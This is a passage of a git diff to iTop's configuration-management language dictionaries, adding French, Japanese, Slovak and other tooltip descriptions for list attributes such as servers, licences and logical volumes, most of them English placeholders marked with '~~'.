'Class:Licence/Attribute:org_id+' => '', 'Class:Licence/Attribute:organization_name' => 'Nom organisation', @@ -990,9 +990,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:OSLicence/Attribute:osversion_name' => 'Nom Version OS', 'Class:OSLicence/Attribute:osversion_name+' => '', 'Class:OSLicence/Attribute:virtualmachines_list' => 'Machines virtuelles', - 'Class:OSLicence/Attribute:virtualmachines_list+' => '', + 'Class:OSLicence/Attribute:virtualmachines_list+' => 'Toutes les machines virtuelles où cette licence est utilisée', 'Class:OSLicence/Attribute:servers_list' => 'Serveurs', - 'Class:OSLicence/Attribute:servers_list+' => '', + 'Class:OSLicence/Attribute:servers_list+' => 'Tous les serveurs où cette licence est utilisée', )); // @@ -1007,7 +1007,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:SoftwareLicence/Attribute:software_name' => 'Nom Logiciel', 'Class:SoftwareLicence/Attribute:software_name+' => '', 'Class:SoftwareLicence/Attribute:softwareinstance_list' => 'Instances logiciels', - 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => '', + 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => 'Tous les systèmes où cette licence est utilisée', )); // @@ -1057,7 +1057,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Brand' => 'Marque', 'Class:Brand+' => '', 'Class:Brand/Attribute:physicaldevices_list' => 'Matériels', - 'Class:Brand/Attribute:physicaldevices_list+' => '', + 'Class:Brand/Attribute:physicaldevices_list+' => 'Tous les matériels correspondant à cette marque', 'Class:Brand/UniquenessRule:name+' => 'Le nom doit être unique', 'Class:Brand/UniquenessRule:name' => 'cette marque existe déjà', )); @@ -1112,7 +1112,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Model/Attribute:type/Value:Phone' => 'Téléphone', 'Class:Model/Attribute:type/Value:Phone+' => 'Téléphone', 'Class:Model/Attribute:physicaldevices_list' => 'Matériels', - 'Class:Model/Attribute:physicaldevices_list+' => '', + 'Class:Model/Attribute:physicaldevices_list+' => 'Tous les matériels correspondant à ce modèle', 'Class:Model/UniquenessRule:name_brand+' => 'Le nom doit être unique dans une marque', 'Class:Model/UniquenessRule:name_brand' => 'ce modèle existe déjà dans cette marque', )); @@ -1125,7 +1125,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:NetworkDeviceType' => 'Type d\'équipement réseau', 'Class:NetworkDeviceType+' => '', 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list' => 'Equipements réseaux', - 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => '', + 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => 'Tous les équipements réseaux correspondant à ce type', )); // @@ -1469,7 +1469,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Group/Attribute:parent_name' => 'Nom groupe parent', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'CIs liés', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'Tous les éléments de configuration liés à ce groupe', 'Class:Group/Attribute:parent_id_friendlyname' => 'Nom usuel du parent', 'Class:Group/Attribute:parent_id_friendlyname+' => '', )); diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/hu.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/hu.dict.itop-config-mgmt.php index 03948b68c..344c2c3f0 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/hu.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/hu.dict.itop-config-mgmt.php @@ -1466,7 +1466,7 @@ Dict::Add('HU HU', 'Hungarian', 'Magyar', array( 'Class:Group/Attribute:parent_name' => 'Név', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'Kapcsolódó CI-k', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:Group/Attribute:parent_id_friendlyname' => 'Parent Group~~', 'Class:Group/Attribute:parent_id_friendlyname+' => '~~', )); diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/it.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/it.dict.itop-config-mgmt.php index d0de9f1db..bf0452ffd 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/it.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/it.dict.itop-config-mgmt.php @@ -1466,7 +1466,7 @@ Dict::Add('IT IT', 'Italian', 'Italiano', array( 'Class:Group/Attribute:parent_name' => 'Nome', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'CIs collegati', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:Group/Attribute:parent_id_friendlyname' => 'Parent Group~~', 'Class:Group/Attribute:parent_id_friendlyname+' => '~~', )); diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/ja.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/ja.dict.itop-config-mgmt.php index 9b4e93c7f..32388d871 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/ja.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/ja.dict.itop-config-mgmt.php @@ -114,13 +114,13 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:FunctionalCI/Attribute:move2production' => '本稼働開始日', 'Class:FunctionalCI/Attribute:move2production+' => '', 'Class:FunctionalCI/Attribute:contacts_list' => '連絡先', - 'Class:FunctionalCI/Attribute:contacts_list+' => '', + 'Class:FunctionalCI/Attribute:contacts_list+' => 'All the contacts for this configuration item~~', 'Class:FunctionalCI/Attribute:documents_list' => '文書', - 'Class:FunctionalCI/Attribute:documents_list+' => '', + 'Class:FunctionalCI/Attribute:documents_list+' => 'All the documents linked to this configuration item~~', 'Class:FunctionalCI/Attribute:applicationsolution_list' => 'アプリケーションソリューション', - 'Class:FunctionalCI/Attribute:applicationsolution_list+' => '', + 'Class:FunctionalCI/Attribute:applicationsolution_list+' => 'All the application solutions depending on this configuration item~~', 'Class:FunctionalCI/Attribute:softwares_list' => 'ソフトウエア', - 'Class:FunctionalCI/Attribute:softwares_list+' => '', + 'Class:FunctionalCI/Attribute:softwares_list+' => 'All the softwares installed on this configuration item~~', 'Class:FunctionalCI/Attribute:finalclass' => 'CIタイプ', 'Class:FunctionalCI/Attribute:finalclass+' => '', 'Class:FunctionalCI/Tab:OpenedTickets' => 'Active Tickets~~', @@ -175,9 +175,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Rack/Attribute:nb_u' => 'ユニット数', 'Class:Rack/Attribute:nb_u+' => '', 'Class:Rack/Attribute:device_list' => 'デバイス', - 'Class:Rack/Attribute:device_list+' => '', + 'Class:Rack/Attribute:device_list+' => 'All the physical devices racked into this rack~~', 'Class:Rack/Attribute:enclosure_list' => 'エンクロージャ', - 'Class:Rack/Attribute:enclosure_list+' => '', + 'Class:Rack/Attribute:enclosure_list+' => 'All the enclosures in this rack~~', )); // @@ -239,9 +239,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:ConnectableCI' => '接続可能なCI', 'Class:ConnectableCI+' => '物理的なCI', 'Class:ConnectableCI/Attribute:networkdevice_list' => 'ネットワークデバイス', - 'Class:ConnectableCI/Attribute:networkdevice_list+' => '', + 'Class:ConnectableCI/Attribute:networkdevice_list+' => 'All network devices connected to this device~~', 'Class:ConnectableCI/Attribute:physicalinterface_list' => 'ネットワークインターフェース', - 'Class:ConnectableCI/Attribute:physicalinterface_list+' => '', + 'Class:ConnectableCI/Attribute:physicalinterface_list+' => 'All the physical network interfaces~~', )); // @@ -272,9 +272,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:DatacenterDevice/Attribute:powerB_name' => '電源B名', 'Class:DatacenterDevice/Attribute:powerB_name+' => '', 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list' => 'FCポート', - 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => '', + 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => 'All the fiber channel interfaces for this device~~', 'Class:DatacenterDevice/Attribute:san_list' => 'SAN', - 'Class:DatacenterDevice/Attribute:san_list+' => '', + 'Class:DatacenterDevice/Attribute:san_list+' => 'All the SAN switches connected to this device~~', 'Class:DatacenterDevice/Attribute:redundancy' => 'Redundancy~~', 'Class:DatacenterDevice/Attribute:redundancy/count' => 'The device is up if at least one power connection (A or B) is up~~', // Unused yet @@ -294,7 +294,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:NetworkDevice/Attribute:networkdevicetype_name' => 'ネットワークタイプ名', 'Class:NetworkDevice/Attribute:networkdevicetype_name+' => '', 'Class:NetworkDevice/Attribute:connectablecis_list' => 'デバイス', - 'Class:NetworkDevice/Attribute:connectablecis_list+' => '', + 'Class:NetworkDevice/Attribute:connectablecis_list+' => 'All the devices connected to this network device~~', 'Class:NetworkDevice/Attribute:iosversion_id' => 'IOSバージョン', 'Class:NetworkDevice/Attribute:iosversion_id+' => '', 'Class:NetworkDevice/Attribute:iosversion_name' => 'IOSバージョン名', @@ -327,7 +327,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Server/Attribute:ram' => 'RAM', 'Class:Server/Attribute:ram+' => '', 'Class:Server/Attribute:logicalvolumes_list' => '論理ボリューム', - 'Class:Server/Attribute:logicalvolumes_list+' => '', + 'Class:Server/Attribute:logicalvolumes_list+' => 'All the logical volumes connected to this server~~', )); // @@ -338,7 +338,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:StorageSystem' => 'ストレージシステム', 'Class:StorageSystem+' => '', 'Class:StorageSystem/Attribute:logicalvolume_list' => '論理ボリューム', - 'Class:StorageSystem/Attribute:logicalvolume_list+' => '', + 'Class:StorageSystem/Attribute:logicalvolume_list+' => 'All the logical volumes in this storage system~~', )); // @@ -349,7 +349,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:SANSwitch' => 'SANスイッチ', 'Class:SANSwitch+' => '', 'Class:SANSwitch/Attribute:datacenterdevice_list' => 'デバイス', - 'Class:SANSwitch/Attribute:datacenterdevice_list+' => '', + 'Class:SANSwitch/Attribute:datacenterdevice_list+' => 'All the devices connected to this SAN switch~~', )); // @@ -360,7 +360,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:TapeLibrary' => 'テープライブラリ', 'Class:TapeLibrary+' => '', 'Class:TapeLibrary/Attribute:tapes_list' => 'テープ', - 'Class:TapeLibrary/Attribute:tapes_list+' => '', + 'Class:TapeLibrary/Attribute:tapes_list+' => 'All the tapes in the tape library~~', )); // @@ -371,7 +371,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:NAS' => 'NAS', 'Class:NAS+' => '', 'Class:NAS/Attribute:nasfilesystem_list' => 'ファイルシステム', - 'Class:NAS/Attribute:nasfilesystem_list+' => '', + 'Class:NAS/Attribute:nasfilesystem_list+' => 'All the file systems in this NAS~~', )); // @@ -427,7 +427,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:PowerSource' => '電源', 'Class:PowerSource+' => '', 'Class:PowerSource/Attribute:pdus_list' => 'PDU', - 'Class:PowerSource/Attribute:pdus_list+' => '', + 'Class:PowerSource/Attribute:pdus_list+' => 'All the PDUs using this power source~~', )); // @@ -470,7 +470,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Enclosure/Attribute:nb_u' => 'ユニット数', 'Class:Enclosure/Attribute:nb_u+' => '', 'Class:Enclosure/Attribute:device_list' => 'デバイス', - 'Class:Enclosure/Attribute:device_list+' => '', + 'Class:Enclosure/Attribute:device_list+' => 'All the devices in this enclosure~~', )); // @@ -481,9 +481,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:ApplicationSolution' => 'アプリケーションソリューション', 'Class:ApplicationSolution+' => '', 'Class:ApplicationSolution/Attribute:functionalcis_list' => 'CI', - 'Class:ApplicationSolution/Attribute:functionalcis_list+' => '', + 'Class:ApplicationSolution/Attribute:functionalcis_list+' => 'All the configuration items that compose this application solution~~', 'Class:ApplicationSolution/Attribute:businessprocess_list' => 'ビジネスプロセス', - 'Class:ApplicationSolution/Attribute:businessprocess_list+' => '', + 'Class:ApplicationSolution/Attribute:businessprocess_list+' => 'All the business processes depending on this application solution~~', 'Class:ApplicationSolution/Attribute:status' => '状態', 'Class:ApplicationSolution/Attribute:status+' => '', 'Class:ApplicationSolution/Attribute:status/Value:active' => 'アクティブ', @@ -504,7 +504,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:BusinessProcess' => 'ビジネスプロセス', 'Class:BusinessProcess+' => '', 'Class:BusinessProcess/Attribute:applicationsolutions_list' => 'アプリケーションソリューション', - 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => '', + 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => 'All the application solutions that impact this business process~~', 'Class:BusinessProcess/Attribute:status' => '状態', 'Class:BusinessProcess/Attribute:status+' => '', 'Class:BusinessProcess/Attribute:status/Value:active' => 'アクティブ', @@ -550,7 +550,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Middleware' => 'ミドルウエア', 'Class:Middleware+' => '', 'Class:Middleware/Attribute:middlewareinstance_list' => 'ミドルウエアインスタンス', - 'Class:Middleware/Attribute:middlewareinstance_list+' => '', + 'Class:Middleware/Attribute:middlewareinstance_list+' => 'All the middleware instances provided by this middleware~~', )); // @@ -561,7 +561,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:DBServer' => 'DBサーバ', 'Class:DBServer+' => '', 'Class:DBServer/Attribute:dbschema_list' => 'DBスキーマ', - 'Class:DBServer/Attribute:dbschema_list+' => '', + 'Class:DBServer/Attribute:dbschema_list+' => 'All the database schemas for this DB server~~', )); // @@ -572,7 +572,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:WebServer' => 'Webサーバ', 'Class:WebServer+' => '', 'Class:WebServer/Attribute:webapp_list' => 'Webアプリケーション', - 'Class:WebServer/Attribute:webapp_list+' => '', + 'Class:WebServer/Attribute:webapp_list+' => 'All the web applications available on this web server~~', )); // @@ -653,7 +653,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:VirtualDevice/Attribute:status/Value:stock' => '保存', 'Class:VirtualDevice/Attribute:status/Value:stock+' => '保存', 'Class:VirtualDevice/Attribute:logicalvolumes_list' => '論理ボリューム', - 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => '', + 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => 'All the logical volumes used by this device~~', )); // @@ -664,7 +664,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:VirtualHost' => '仮想ホスト', 'Class:VirtualHost+' => '', 'Class:VirtualHost/Attribute:virtualmachine_list' => '仮想マシン', - 'Class:VirtualHost/Attribute:virtualmachine_list+' => '', + 'Class:VirtualHost/Attribute:virtualmachine_list+' => 'All the virtual machines hosted by this host~~', )); // @@ -692,7 +692,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Farm' => 'ファーム', 'Class:Farm+' => '', 'Class:Farm/Attribute:hypervisor_list' => 'ハイパーバイザー', - 'Class:Farm/Attribute:hypervisor_list+' => '', + 'Class:Farm/Attribute:hypervisor_list+' => 'All the hypervisors that compose this farm~~', 'Class:Farm/Attribute:redundancy' => 'High availability~~', 'Class:Farm/Attribute:redundancy/disabled' => 'The farm is up if all the hypervisors are up~~', 'Class:Farm/Attribute:redundancy/count' => 'The farm is up if at least %1$s hypervisor(s) is(are) up~~', @@ -729,7 +729,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:VirtualMachine/Attribute:managementip' => '管理ip', 'Class:VirtualMachine/Attribute:managementip+' => '', 'Class:VirtualMachine/Attribute:logicalinterface_list' => 'ネットワークインターフェース', - 'Class:VirtualMachine/Attribute:logicalinterface_list+' => '', + 'Class:VirtualMachine/Attribute:logicalinterface_list+' => 'All the logical network interfaces~~', )); // @@ -754,9 +754,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:LogicalVolume/Attribute:storagesystem_name' => 'ストレージシステム名', 'Class:LogicalVolume/Attribute:storagesystem_name+' => '', 'Class:LogicalVolume/Attribute:servers_list' => 'サーバ', - 'Class:LogicalVolume/Attribute:servers_list+' => '', + 'Class:LogicalVolume/Attribute:servers_list+' => 'All the servers using this volume~~', 'Class:LogicalVolume/Attribute:virtualdevices_list' => '仮想デバイス', - 'Class:LogicalVolume/Attribute:virtualdevices_list+' => '', + 'Class:LogicalVolume/Attribute:virtualdevices_list+' => 'All the virtual devices using this volume~~', )); // @@ -872,7 +872,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Software/Attribute:version' => 'バージョン', 'Class:Software/Attribute:version+' => '', 'Class:Software/Attribute:documents_list' => '文書', - 'Class:Software/Attribute:documents_list+' => '', + 'Class:Software/Attribute:documents_list+' => 'All the documents linked to this software~~', 'Class:Software/Attribute:type' => 'タイプ', 'Class:Software/Attribute:type+' => '', 'Class:Software/Attribute:type/Value:DBServer' => 'DBサーバ', @@ -886,11 +886,11 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Software/Attribute:type/Value:WebServer' => 'Webサーバ', 'Class:Software/Attribute:type/Value:WebServer+' => 'Webサーバ', 'Class:Software/Attribute:softwareinstance_list' => 'ソフトウエアインスタンス', - 'Class:Software/Attribute:softwareinstance_list+' => '', + 'Class:Software/Attribute:softwareinstance_list+' => 'All the software instances for this software~~', 'Class:Software/Attribute:softwarepatch_list' => 'ソフトウエアパッチ', - 'Class:Software/Attribute:softwarepatch_list+' => '', + 'Class:Software/Attribute:softwarepatch_list+' => 'All the patchs for this software~~', 'Class:Software/Attribute:softwarelicence_list' => 'ソフトウエアライセンス', - 'Class:Software/Attribute:softwarelicence_list+' => '', + 'Class:Software/Attribute:softwarelicence_list+' => 'All the licenses for this software~~', )); // @@ -903,7 +903,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Patch/Attribute:name' => '名前', 'Class:Patch/Attribute:name+' => '', 'Class:Patch/Attribute:documents_list' => '文書', - 'Class:Patch/Attribute:documents_list+' => '', + 'Class:Patch/Attribute:documents_list+' => 'All the documents linked to this patch~~', 'Class:Patch/Attribute:description' => '説明', 'Class:Patch/Attribute:description+' => '', 'Class:Patch/Attribute:finalclass' => 'タイプ', @@ -918,7 +918,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:OSPatch' => 'OSパッチ', 'Class:OSPatch+' => '', 'Class:OSPatch/Attribute:functionalcis_list' => 'デバイス', - 'Class:OSPatch/Attribute:functionalcis_list+' => '', + 'Class:OSPatch/Attribute:functionalcis_list+' => 'All the systems where this patch is installed~~', 'Class:OSPatch/Attribute:osversion_id' => 'OSバージョン', 'Class:OSPatch/Attribute:osversion_id+' => '', 'Class:OSPatch/Attribute:osversion_name' => 'OSバージョン名', @@ -937,7 +937,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:SoftwarePatch/Attribute:software_name' => 'ソフトウエア名', 'Class:SoftwarePatch/Attribute:software_name+' => '', 'Class:SoftwarePatch/Attribute:softwareinstances_list' => 'ソフトウエアインスタンス', - 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => '', + 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => 'All the systems where this software patch is installed~~', )); // @@ -950,7 +950,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Licence/Attribute:name' => '名前', 'Class:Licence/Attribute:name+' => '', 'Class:Licence/Attribute:documents_list' => '文書', - 'Class:Licence/Attribute:documents_list+' => '', + 'Class:Licence/Attribute:documents_list+' => 'All the documents linked to this license~~', 'Class:Licence/Attribute:org_id' => '組織', 'Class:Licence/Attribute:org_id+' => '', 'Class:Licence/Attribute:organization_name' => '組織名', @@ -987,9 +987,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:OSLicence/Attribute:osversion_name' => 'OSバージョン名', 'Class:OSLicence/Attribute:osversion_name+' => '', 'Class:OSLicence/Attribute:virtualmachines_list' => '仮想マシン', - 'Class:OSLicence/Attribute:virtualmachines_list+' => '', + 'Class:OSLicence/Attribute:virtualmachines_list+' => 'All the virtual machines where this license is used~~', 'Class:OSLicence/Attribute:servers_list' => 'サーバ', - 'Class:OSLicence/Attribute:servers_list+' => '', + 'Class:OSLicence/Attribute:servers_list+' => 'All the servers where this license is used~~', )); // @@ -1004,7 +1004,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:SoftwareLicence/Attribute:software_name' => 'ソフトウエア名', 'Class:SoftwareLicence/Attribute:software_name+' => '', 'Class:SoftwareLicence/Attribute:softwareinstance_list' => 'ソフトウエアインスタンス', - 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => '', + 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => 'All the systems where this license is used~~', )); // @@ -1054,7 +1054,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Brand' => 'ブランド', 'Class:Brand+' => '', 'Class:Brand/Attribute:physicaldevices_list' => '物理デバイス', - 'Class:Brand/Attribute:physicaldevices_list+' => '', + 'Class:Brand/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this brand~~', 'Class:Brand/UniquenessRule:name+' => 'The name must be unique~~', 'Class:Brand/UniquenessRule:name' => 'This brand already exists~~', )); @@ -1109,7 +1109,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Model/Attribute:type/Value:Phone' => '電話', 'Class:Model/Attribute:type/Value:Phone+' => '電話', 'Class:Model/Attribute:physicaldevices_list' => '物理デバイス', - 'Class:Model/Attribute:physicaldevices_list+' => '', + 'Class:Model/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this model~~', 'Class:Model/UniquenessRule:name_brand+' => 'Name must be unique in the brand~~', 'Class:Model/UniquenessRule:name_brand' => 'this model already exists for this brand~~', )); @@ -1122,7 +1122,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:NetworkDeviceType' => 'ネットワークデバイスタイプ', 'Class:NetworkDeviceType+' => '', 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list' => 'ネットワークデバイス', - 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => '', + 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => 'All the network devices corresponding to this type~~', )); // @@ -1466,7 +1466,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Group/Attribute:parent_name' => '名前', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'リンクされたCI', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:Group/Attribute:parent_id_friendlyname' => '親グループ', 'Class:Group/Attribute:parent_id_friendlyname+' => '', )); diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/sk.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/sk.dict.itop-config-mgmt.php index a2a7691ab..193629785 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/sk.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/sk.dict.itop-config-mgmt.php @@ -119,13 +119,13 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:FunctionalCI/Attribute:move2production' => 'Dátum presunu do produkcie', 'Class:FunctionalCI/Attribute:move2production+' => '', 'Class:FunctionalCI/Attribute:contacts_list' => 'Kontakty', - 'Class:FunctionalCI/Attribute:contacts_list+' => '', + 'Class:FunctionalCI/Attribute:contacts_list+' => 'All the contacts for this configuration item~~', 'Class:FunctionalCI/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:FunctionalCI/Attribute:documents_list+' => '', + 'Class:FunctionalCI/Attribute:documents_list+' => 'All the documents linked to this configuration item~~', 'Class:FunctionalCI/Attribute:applicationsolution_list' => 'Zoznam aplikačných riešení', - 'Class:FunctionalCI/Attribute:applicationsolution_list+' => '', + 'Class:FunctionalCI/Attribute:applicationsolution_list+' => 'All the application solutions depending on this configuration item~~', 'Class:FunctionalCI/Attribute:softwares_list' => 'Softvér', - 'Class:FunctionalCI/Attribute:softwares_list+' => '', + 'Class:FunctionalCI/Attribute:softwares_list+' => 'All the softwares installed on this configuration item~~', 'Class:FunctionalCI/Attribute:finalclass' => 'Typ komponentu', 'Class:FunctionalCI/Attribute:finalclass+' => '', 'Class:FunctionalCI/Tab:OpenedTickets' => 'Active Tickets~~', @@ -180,9 +180,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Rack/Attribute:nb_u' => 'NB U', 'Class:Rack/Attribute:nb_u+' => '', 'Class:Rack/Attribute:device_list' => 'Zariadenia', - 'Class:Rack/Attribute:device_list+' => '', + 'Class:Rack/Attribute:device_list+' => 'All the physical devices racked into this rack~~', 'Class:Rack/Attribute:enclosure_list' => 'Kryt', - 'Class:Rack/Attribute:enclosure_list+' => '', + 'Class:Rack/Attribute:enclosure_list+' => 'All the enclosures in this rack~~', )); // @@ -244,9 +244,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ConnectableCI' => 'Pripojiteľné zariadenie', 'Class:ConnectableCI+' => '', 'Class:ConnectableCI/Attribute:networkdevice_list' => 'Sieťové zariadenia', - 'Class:ConnectableCI/Attribute:networkdevice_list+' => '', + 'Class:ConnectableCI/Attribute:networkdevice_list+' => 'All network devices connected to this device~~', 'Class:ConnectableCI/Attribute:physicalinterface_list' => 'Sieťové rozhrania', - 'Class:ConnectableCI/Attribute:physicalinterface_list+' => '', + 'Class:ConnectableCI/Attribute:physicalinterface_list+' => 'All the physical network interfaces~~', )); // @@ -277,9 +277,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:DatacenterDevice/Attribute:powerB_name' => 'Názov zdroja napájania B', 'Class:DatacenterDevice/Attribute:powerB_name+' => '', 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list' => 'Zoznam optických rozhraní', - 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => '', + 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => 'All the fiber channel interfaces for this device~~', 'Class:DatacenterDevice/Attribute:san_list' => 'Úložiská (SAN)', - 'Class:DatacenterDevice/Attribute:san_list+' => '', + 'Class:DatacenterDevice/Attribute:san_list+' => 'All the SAN switches connected to this device~~', 'Class:DatacenterDevice/Attribute:redundancy' => 'Redundancy~~', 'Class:DatacenterDevice/Attribute:redundancy/count' => 'The device is up if at least one power connection (A or B) is up~~', // Unused yet @@ -299,7 +299,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:NetworkDevice/Attribute:networkdevicetype_name' => 'Názov typu sieťového zariadenia', 'Class:NetworkDevice/Attribute:networkdevicetype_name+' => '', 'Class:NetworkDevice/Attribute:connectablecis_list' => 'Zariadenia', - 'Class:NetworkDevice/Attribute:connectablecis_list+' => '', + 'Class:NetworkDevice/Attribute:connectablecis_list+' => 'All the devices connected to this network device~~', 'Class:NetworkDevice/Attribute:iosversion_id' => 'IVerzia OS', 'Class:NetworkDevice/Attribute:iosversion_id+' => '', 'Class:NetworkDevice/Attribute:iosversion_name' => 'Názov IOS verzie', @@ -332,7 +332,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Server/Attribute:ram' => 'Operačna pamäť', 'Class:Server/Attribute:ram+' => '', 'Class:Server/Attribute:logicalvolumes_list' => 'Logické disky', - 'Class:Server/Attribute:logicalvolumes_list+' => '', + 'Class:Server/Attribute:logicalvolumes_list+' => 'All the logical volumes connected to this server~~', )); // @@ -343,7 +343,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:StorageSystem' => 'Úložiskový systém', 'Class:StorageSystem+' => '', 'Class:StorageSystem/Attribute:logicalvolume_list' => 'Logické disky', - 'Class:StorageSystem/Attribute:logicalvolume_list+' => '', + 'Class:StorageSystem/Attribute:logicalvolume_list+' => 'All the logical volumes in this storage system~~', )); // @@ -354,7 +354,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:SANSwitch' => 'SAN prepínač', 'Class:SANSwitch+' => '', 'Class:SANSwitch/Attribute:datacenterdevice_list' => 'Zariadenia', - 'Class:SANSwitch/Attribute:datacenterdevice_list+' => '', + 'Class:SANSwitch/Attribute:datacenterdevice_list+' => 'All the devices connected to this SAN switch~~', )); // @@ -365,7 +365,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:TapeLibrary' => 'Pásková knižnica', 'Class:TapeLibrary+' => '', 'Class:TapeLibrary/Attribute:tapes_list' => 'Pásky', - 'Class:TapeLibrary/Attribute:tapes_list+' => '', + 'Class:TapeLibrary/Attribute:tapes_list+' => 'All the tapes in the tape library~~', )); // @@ -376,7 +376,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:NAS' => 'NAS', 'Class:NAS+' => '', 'Class:NAS/Attribute:nasfilesystem_list' => 'Súborové systémy', - 'Class:NAS/Attribute:nasfilesystem_list+' => '', + 'Class:NAS/Attribute:nasfilesystem_list+' => 'All the file systems in this NAS~~', )); // @@ -432,7 +432,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:PowerSource' 